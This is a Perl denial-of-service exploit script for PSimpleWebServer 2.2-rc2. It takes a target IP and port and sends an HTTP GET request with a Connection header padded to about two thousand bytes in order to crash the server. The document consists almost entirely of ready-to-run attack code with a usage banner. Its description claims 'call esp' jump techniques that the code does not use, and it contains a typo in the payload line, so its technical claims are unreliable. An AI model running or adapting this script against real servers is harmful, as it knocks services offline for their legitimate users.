SimpleWebServer 2.2-rc2 Denial Of Service Exploit

#!/usr/bin/perl
 
use IO::Socket::INET;
 
# Exploit Title: PSimpleWebServer 2.2-rc2 - Denial of Service (DoS)
# Discovery by: Fernando Mengali
# Discovery Date: 11 january 2024
# Vendor Homepage:  http://www.pmx.it/
# Download to demo: https://drive.google.com/file/d/1tAK7dKl3yBPQSeo5Tid4p2FETyh8Zjvs/view?usp=sharing
# Notification vendor: No reported
# Tested Version: PSimpleWebServer 2.2-rc2
# Tested on: Window XP Professional - Service Pack 2 and 3 - English
# Vulnerability Type: Denial of Service (DoS)
# Vídeo: https://www.youtube.com/watch?v=YFfBuWnHeQY
 
#1. Description
 
#His technique works fine against Windows XP Professional Service Pack 2 and 3 (English).
#For this exploit I have tried several strategies to increase reliability and performance:
#Jump to a static 'call esp'
#Backwards jump to code a known distance from the stack pointer.
#The server did not properly handle request with large amounts of data to web server.
#The following request sends a large amount of data to the web server to process, the server will crash as soon as it is received and processed, causing denial of service conditions.
#Successful exploitation of these issues allows remote attackers to crash the affected server, denying service to legitimate users.
 
#2. Proof of Concept - PoC
 
    $sis="$^O";
 
    if ($sis eq "windows"){
      $cmd="cls";
    } else {
      $cmd="clear";
    }
 
    system("$cmd");
    
    intro();
    main();
 
print "\t    ==> Connecting to webserver... \n\n";
sleep(1);
 
our $exploit = "\x41"x2014;
 
$exploit     = "x\41"x2104;
 
if ($socket = IO::Socket::INET->new
     (PeerAddr => $ip,
      PeerPort => $port,
      Proto => "TCP"))
{
        $header =
        "GET / HTTP/1.1\r\n".
        "Host: ".$ip." \r\n".
        "Connection:".$exploit."\r\n";
        print $socket $header."\r\n";
        sleep(1);
        close($socket);
}
 
else
{
    print "[-] Connection to $ip failed!\n";
    exit;
}
            
  
print "\t    ==> Done! Exploited!";
   sub intro {
      print q {
 
 
                        ,,__
              ..  ..   / o._)         
             /--'/--\  \-'|| 
            /        \_/ / | 
          .'\  \__\  __.'.'   
            )\ |  )\ |     
           // \\ // \\
          ||_  \\|_  \\_
          '--' '--'' '--' 
          
      [+] SimpleWebServer 2.2-rc2 - Denial of Service (DoS)
 
      [*] Coded by Fernando Mengali
 
      [@] e-mail: [email protected]
 
      }
  }
 
  sub main {
 
our ($ip, $port) = @ARGV;
 
      unless (defined($ip) && defined($port)) {
 
        print "\n\tUsage: $0 <ip> <port>                 \n";
        exit(-1);
 
      }
  }
 
#3. Solution/ How to fix:
 
# This version product is deprecated
 
#  0day.today [2024-02-15]  #